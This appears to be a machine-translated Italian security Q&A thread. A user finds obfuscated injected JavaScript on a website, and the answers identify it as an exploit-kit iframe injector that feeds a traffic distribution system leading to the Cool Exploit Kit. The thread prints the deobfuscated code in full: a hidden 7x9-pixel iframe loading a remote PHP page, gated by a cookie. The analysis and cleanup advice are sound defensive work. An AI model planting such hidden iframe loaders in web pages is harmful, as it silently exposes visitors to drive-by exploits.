Javascript contenente una lunga stringa esadecimale ed eval: questo è sospetto?

Ho scoperto che cosa fa (si prega di essere clemente con me, non sono uno sviluppatore di JavaScript )

Ciò che si può vedere facilmente è che lo script richiama String.fromCharCode() sui numeri presenti sulla stringa a per creare una nuova stringa ed eseguirla. Il codice in cui viene eseguita la conversione di a string è:

function zzzfff() {
 var klccr = document.createElement('iframe');

 klccr.src = 'http://ninoromano.it/DNGJxdCW.php';
 klccr.style.position = 'absolute';
 klccr.style.border = '0';
 klccr.style.height = '9px';
 klccr.style.width = '7px';
 klccr.style.left = '1px';
 klccr.style.top = '1px';

 if (!document.getElementById('klccr')) {
 document.write('<div id=\'klccr\'></div>');
 document.getElementById('klccr').appendChild(klccr);
 }
}

function SetCookie(cookieName,cookieValue,nDays,path) {
 var today = new Date();
 var expire = new Date();
 if (nDays==null || nDays==0) nDays=1;
 expire.setTime(today.getTime() + 3600000*24*nDays);
 document.cookie = cookieName+"="+escape(cookieValue)
 + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}

function GetCookie( name ) {
 var start = document.cookie.indexOf( name + "=" );
 var len = start + name.length + 1;
 if ( ( !start ) &&
 ( name != document.cookie.substring( 0, name.length ) ) )
 {
 return null;
 }
 if ( start == -1 ) return null;
 var end = document.cookie.indexOf( ";", len );
 if ( end == -1 ) end = document.cookie.length;
 return unescape( document.cookie.substring( len, end ) );
}
if (navigator.cookieEnabled)
{
if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');

zzzfff();

Ora, non ne sono sicuro (ricorda che non sono uno sviluppatore javascript) ma sembra che sia un codice che ruba i cookie (forse anche il dirottamento di sessione) ?

Modifica

Per ulteriori ricerche:

• Lo script sta verificando se è presente un cookie specifico ( Name: "visited_uq", Content: "55", URL: "<current_url>", Path: "/", Expires: "24 hours after creation" ) e, in caso contrario, lo crea.
• Quindi crea un nuovo elemento nel documento, che modifica per renderlo molto difficile da notare (larghezza 7 pixel, altezza 9 pixel) e che esegue uno script php disponibile a http://ninoromano.it/DNGJxdCW.php . Se visiti questo, restituisce "ok" e nient'altro nel codice della pagina (il dominio sembra essere compromesso). (Non posso ottenere ulteriori informazioni oltre a questo)

Molto probabilmente si tratta di un tentativo di hijacking della sessione.

La prima volta che lo esegui, lo script crea un iframe che punta a ninoromano.it . Quindi crea un cookie in modo che nelle successive volte lo carichi, non venga eseguito di nuovo.

L'iframe è uno script di exploit del browser. Se lo visualizzi in un browser che non sa di te, ottieni la stringa "ok", ma se la carichi, diciamo, in una vecchia versione di IE, ottieni un sacco di exploit per infettare il tuo computer.

Il sito è stato violato (e così pure ninoromano dal suo aspetto). Una fonte comune di questo tipo di infezione è il malware lato client che ruba le password degli account del server (spesso lo stesso malware servito dagli exploit!). Chiunque sia responsabile deve eseguire la scansione di tutte le macchine client che hanno effettuato l'accesso al server con più AV (perché gli AV non sono molto affidabili); reinstallare i client infetti da zero; scegliere nuove password del server; reinstallare il server da zero.

Quello che stai guardando è una versione compressa (offuscata) di un kit di exploit "iframer". "iframer" significa semplicemente un frammento di Javascript che caricherà un iframe esterno; nella maggior parte dei casi l'iframe punterà ad una parte di una catena che alla fine caricherà un kit di exploit del browser.

(Ovviamente non visitare direttamente nessuno dei link sottostanti.)

Se fai una richiesta alla pagina di destinazione del kit di exploit, hxxp://ninoromano.it/DNGJxdCW.php con un referente valido e uno user-agent di IE, verrai reindirizzato a un altro URL.

Questa è la fase di reindirizzamento; ninoromano.it in questo caso è probabilmente parte di un "TDS", sistema di distribuzione del traffico: il suo compito è quello di suddividere il traffico in pagine di atterraggio di kit di exploit diversi (o talvolta spamvertising generico) in base al referente e talvolta al paese del cliente.

link

L'URL caricato ha uno schema simile a hxxp://innocuus.myseniorbook.com:801/lace_poet_prolonged.htm . Ecco il suo contenuto.

link

Solo guardando quella pagina, lo riconosco già come il "Cool Exploit Kit". Puoi apprendere dettagli su questo kit di exploit in vari punti:

link link link

Un altro iframe viene caricato dalla pagina di destinazione, hxxp://innocuus.myseniorbook.com:801/who-solely_sex_painting.html

Questo iframe contiene la maggior parte del codice dannoso attuale. Prova vari exploit, in primo luogo gli exploit Java, i quali scaricheranno ed eseguiranno un carico utile dannoso.

Il link è un sito fantastico per automatizzare questo tipo di analisi. Assicurati solo di impostare un agenet utente di IE e una sorta di referer ogni volta.

Molti kit di exploit diversi usano quel tipo di packer JS che stai vedendo in fondo alla pagina. Se vedi un codice simile, puoi presumere che sia molto dannoso.